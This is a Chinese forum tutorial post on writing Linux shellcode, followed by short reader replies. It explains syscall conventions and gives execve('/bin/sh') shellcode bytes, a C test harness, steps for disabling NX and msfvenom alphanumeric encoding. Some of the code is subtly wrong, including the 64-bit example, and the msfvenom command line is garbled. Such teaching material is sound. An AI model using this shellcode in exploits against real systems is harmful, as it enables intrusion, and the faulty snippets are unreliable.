吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 3725|回复: 11
收起左侧

[调试逆向] Linux shellcode编写入门

  [复制链接]
rgzz 发表于 2023-1-29 23:00

1. 什么是 shellcode ?

shellcode 通常用机器语言编写,是一段用于软件漏洞而执行的代码,因其目的常常是让攻击者获得目标机器的命令行 shell 而得名。随着发展,shellcode 现在代表将插入到漏洞利用程序中以完成所需任务的任何字节码。

2. shellcode 原理

2.1 理解系统调用

shellcode 通常是一段能够执行某些系统调用的代码,所以直接通过一个int 0x80系统调用,指定想调用的函数的系统调用号(syscall),传入调用函数的参数,即可。

Linux 操作系统(2.6及更早的内核版本),通常用 int $0x80软中断 + 系统调用号(保存到eax中)来实现系统调用,其==参数传递顺序依次为 ebx、ecx、edx、esi和edi==,返回值存放在eax。

.data
msg:
    .ascii "hello 32-bit!\n"
    len = . - msg

.text
    .global _start

_start:
    movl $len, %edx
    movl $msg, %ecx
    movl $1, %ebx
    movl $4, %eax
    int $0x80

    movl $0, %ebx
    movl $1, %eax
    int $0x80

编译执行(可编译成 64 位程序):==用gcc编译,生成目标文件,用ld来链接==

$ gcc -m32 -c hello32.S
$ ld -m elf_i386 -o hello32 hello32.o
$ strace ./hello32                                                                   127 ⨯
execve("./hello32", ["./hello32"], 0x7ffd941ae900 /* 61 vars */) = 0
[ Process PID=3197 runs in 32 bit mode. ]
write(1, "hello 32-bit!\n", 14hello 32-bit!
)         = 14
exit(0)                                 = ?
+++ exited with 0 +++

虽然软中断 int 0x80 非常经典,但是由于其性能较差,在往后的内核中被快速调用指令代替,32 位系统使用 sysenter(对应 sysexit)指令,64 位系统则使用 syscall(对应 sysret)指令。

2.2 调用约定

调用约定是对函数调用时如何传递参数的一种约定。

(1)内核接口

  • x86-32 系统调用约定:Linux系统调用使用寄存器传递参数。==eax 存放系统调用号(syscall_number),ebx、ecx、edx、esi 和 ebp 用于将6个参数传递给系统调用==。返回值保存在 eax 中。所有其它寄存器(包括 EFLAGS)都保存在 int 0x80 中。
  • x86-64 系统调用约定:系统调用的参数限制为 6 个,不直接从堆栈上传递任何参数。==rax 存放系统调用号(syscall_namber)。内核接口使用的寄存器有 rdi、rsi、rdx、rcx、r8 和 r9。==系统调用通过 syscall 指令完成。除了 rcx、r11 和 eax,其它寄存器都被保留。返回值保存在 rax 中,只有 INTEGER 或者 MEMORY 类型的值才会被传递给内核。

(2)用户接口

  • x86-32 函数调用约定:==参数通过栈进行传递==。最后一个参数第一个被放入栈中,知道所有的参数都放置完毕,然后执行 call 指令。
  • x86-64 函数调用约定:==x86-64 下通过寄存器传递参数==,这样做比栈更有效率。它避免了内存中参数的存取和额外的指令。根据参数类型的不同,会使用寄存器或传参方式。如果参数类型是 ==MEMORY==,则在==栈上传递参数==。如果类型是 ==INTEGER==,则==顺序使用 rdi、rsi、rdx、rcx、r8 和 r9。==如果多于 6 个参数,则后面的参数将在栈中传递。

2.2 *32位程序使用 sysenter 的例子

.data
msg:
    .ascii "Hello sysenter!\n"
    len = . - msg

.text 
    .globl _start

_start:
    movl $len, %edx
    movl $msg, %ecx
    movl $1, %ebx
    movl $4, %eax
    #为sysenter布置栈
    pushl $sysenter_ret
    pushl %ecx
    pushl %edx
    pushl %ebp
    movl %esp,%ebp
    sysenter

sysenter_ret:
    movl $0, %ebx
    movl $1, %eax
    #为sysenter布置栈
    pushl $sysenter_ret
    pushl %ecx
    pushl %edx
    pushl %ebp
    movl %esp,%ebp
    sysenter

可以看到,为了使用 sysenter 指令,需要手动为其布置栈。这是因为 sysenter 返回时,会执行 _kernel_vsyscall 的后半部分(从 0xf7fd5059 开始)。_kernel_vsyscall 封装了 sysenter 调用的规范,是 vDSO 的一部分,而 vDSO 运行程序在用户层中执行代码。

gdb-peda$ disasseble __kernel_vsyscall
    0xf7fd5050 <+0>:  push    ecx
    0xf7fd5051 <+1>:  push    edx
    0xf7fd5052 <+2>:  push    ebp
    0xf7fd5053 <+3>:  mov     ebp,esp
    0xf7fd5055 <+5>:  sysenter
    0xf7fd5057 <+7>:  int     0x80
-->  0xf7fd5059 <+9>:  pop     ebp
    0xf7fd505a <+10>: pop     edx
    0xf7fd505b <+11>: pop     ecx
    0xf7fd505c <+12>: ret

编译执行(不可编译成 64 位程序)

$ gcc -m32 -c sysenter32.S
$ ld -m elf_i386 -o sysenter sysenter32.o
$ strace ./sysenter
execve("./sysenter", ["./sysenter"], 0x7ffe74dda6e0 /* 61 vars */) = 0
[ Process PID=3638 runs in 32 bit mode. ]
write(1, "Hello sysenter!\n", 16Hello sysenter!
)       = 16
exit(0)                                 = ?
+++ exited with 0 +++

2.3 *64位程序使用 syscall 的例子

.data
msg:
    .ascii "hello 32-bit!\n"
    len = . - msg

.text
    .global _start

_start:
    movl $1, %rdi
    movl $msg, %rsi
    movl $1, %rdx
    movl $4, %rax
    syscall

    xorq %rdi, %rdi
    movq $60, %rax
    syscall

编译执行(不可编译成 32 位程序)

$ gcc -c hello64.S 
$ ld -o hello64 hello64.o
$ strace ./hello64 
execve("./hello64", ["./hello64"], 0x7fffe7d694a0 /* 61 vars */) = 0
write(1, "hello 64-bit!\n", 14hello 64-bit!
)         = 14
exit(0)                                 = ?
+++ exited with 0 +++

3. 编写简单 shellcode

shellcode 只是一段代码,为了运行和验证,我们通常用函数指针或者内联函数的方式把它嵌入到C程序中来调用。

#include <stdio.h>
#include <string.h>

char shellcode[] = "";
int main()
{
    //当shellcode包含空字符时,printf 将会打印出错误的 shellcode 长度
    printf("Shellcode length: %d bytes\n",strlen(shellcode));
    (*(void(*)())shellcode)();

    //污染所有寄存器,确保shellcode 在任何环境下都能运行
    /* __asm__(
            "mov %eax, %ebx\n\t"
            "mov %eax, %ecx\n\t"
            "mov %eax, %edx\n\t"
            "mov %eax, %esi\n\t"
            "mov %eax, %edi\n\t"
            "mov %eax, %ebp\n\t"
            "call shellcode");
    */
}

shell-storm找一些 shellcode 学习案例,先看一个实现 execve("/bin/sh") 的 Linux 32位的程序。

global _start
section .text

_start:
    ; int execve(const char *filename, char *const argv[], char *const envp[])

    xor     ecx, ecx        ; ecx = NULL
    mul     ecx             ; eax and edx = NULL
    mov     al, 11          ; execve syscall
    push    ecx             ; string NULL
    push    0x68732f2f      ; "//sh"
    push    0x6e69622f      ; "/bin"
    mov     ebx, esp        ; pointer to "/bin/sh\0" string
    int     0x80            ; bingo

首先用 NASM 对这段汇编代码进行编译,然后使用 ld 链接,运行后获得shell

$ nasm -f elf32 tiny_execve_sh.asm
$ ld -m elf_i386 tiny_execve_sh.o -o tiny_execve_sh 
$ ./tiny_execve_sh 
$ objdump -d tiny_execve_sh           \                                               127 ⨯

tiny_execve_sh:     文件格式 elf32-i386

Disassembly of section .text:
08049000 <_start>:
 8049000:       31 c9                   xor    %ecx,%ecx
 8049002:       f7 e1                   mul    %ecx
 8049004:       b0 0b                   mov    $0xb,%al
 8049006:       51                      push   %ecx
 8049007:       68 2f 2f 73 68          push   $0x68732f2f
 804900c:       68 2f 62 69 6e          push   $0x6e69622f
 8049011:       89 e3                   mov    %esp,%ebx
 8049013:       cd 80                   int    $0x80

为了在 C 程序中使用这段 shellcode,我们需将其 ==opcode 提取==出来(我这里 cut:无效的字段范围)

$ objdump -d ./tiny_execve_sh|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
    "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"

将提取出来的字符放到 C 程序的 shellcode[] 中。需要注意的是,shellcode 作为全局初始化变量,存放在 .data 段中,而编译时默认开启的 NX 保护机制,会将数据所在的内存页标识为不可执行,当程序转入 shellcode 执行时抛出异常。因此,下面需要关闭 NX。

$ gcc -m32 -z execstack tiny_execve_sh_shellcode.c -o tiny_execve_sh_shellcode
$ ./tiny_execve_sh_shellcode

Linux 64 位的 shellcode 也一样。

global _start
section .text

_start:
    ; execve("/bin/sh", ["/bin/sh"], NULL)
    ;"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

    xor     rdx, rdx
    mov     qword rbx, '//bin/sh'       ; 0x68732f6e69622f2f
    shr     rbx, 0x8
    push        rbx
    mov     rdi, rsp
    push        rax
    push        rdi
    mov     rsi, rsp
    mov     al, 0x3b
    syscall
$ nasm -f elf64 tiny_execve_sh64.asm 
$ ld -m elf_x86_64 tiny_execve_sh64.o -o tiny_execve_sh64 
$ ./tiny_execve_sh64 

4. shellcode 变形

有时,被注入进程的 shellcode 会被限制使用某些字符,例如不能有 NULL、只能用字母和数字等可见字符、ASCII 和 Unicode 编码转换等,因此需要进行一些处理。

由于 NULL 会将字符串操作函数截断,所以我们需要用其它相似功能的指令来替代,下面是一个 32 位指令替换的例子。

替换前:
B8 01000000 MOV     EAX,1

替换后:
33C0        XOR EAX,EAX
40          INC EAX

对于只能使用可见字符字母(也就是只能用字母和数字组合)的情况,将 shellcode 的字符进行编码,使其符合限制条件。相应地,需要在 shellcode 中加入解码器,在代码行前将原始 shellcode 还原出来。

著名的渗透测试框架 Metasploit 中就集成了许多 shellcode 的编码器,这里我们选择 x86/alpha_mixed 来编码 32 位的 shellcode。

$ msfvenom -1 encoders | grep -i alphanumeric
    x86/alpha_mixed     low     Alpha2 Alphanumeric Mixedcase Encoder
    x86/alpha_upper     low     Alpha2 Alphanumeric Uppercase Encoder
    x86/unicode_mixed   manual  Alpha2 Alphanumeric Unicode Mixedcase Encoder
    x86/unicode uDper   manual  Alpha2 Alphanumeric Unicode Uppercase Encoder
$ python -c 'import sys; sys.stdout.write("\x31\xc9\xf7\xel\xb0\x0b\x51\
x68\:<2f\x2f\xT?3\x68\x68\x2f\x62\x69\x6e\x89\xo3\xcd\x80")' | msfveno -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux BufterRegister=EAX 
Attempting to encode payload with 1 iterations of x86/alpha_mixed 
x86/alpha_mixed succeeded with size 96 (iteration=0)
x86/alpha mixed chosen with final size 96
Payload size: 96 bytes
    PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI01o9igHah04Ksa3XTodot31
xBHtorBcYpnniis8MOpAA

参考:

​     Linux下shellcode的编写

​     带你玩转 Linux Shellcode

​     简述获取shellcode的几种方式

​     Linux下Shellcode编写

​     Linux Syscall Table

​     《CTF竞赛权威指南》

免费评分

参与人数 5威望 +1 吾爱币 +24 热心值 +5 收起 理由
Techflow + 1 + 1 谢谢@Thanks!
心睡 + 1 + 1 谢谢@Thanks!
willJ + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
lemon395 + 1 + 1 谢谢@Thanks!
allspark + 1 + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

heihei911 发表于 2023-1-30 12:50
正在学习中,linux入门学习
debug_cat 发表于 2023-1-30 14:24
jjghaa1234 发表于 2023-1-30 15:06
csgo8542L 发表于 2023-1-30 21:10
很有价值,收藏了
TearApart 发表于 2023-1-31 13:21
Linux从入门再到入门
lemon395 发表于 2023-2-1 08:54
从入门到放弃
xxooxx 发表于 2023-2-1 09:09
一看感觉就没有那么简单的样子
Jesley.Sun 发表于 2023-2-1 09:44
语法感觉有点像汇编语言
怜渠客 发表于 2023-2-1 18:01
正需要 多谢
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-20 00:42

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表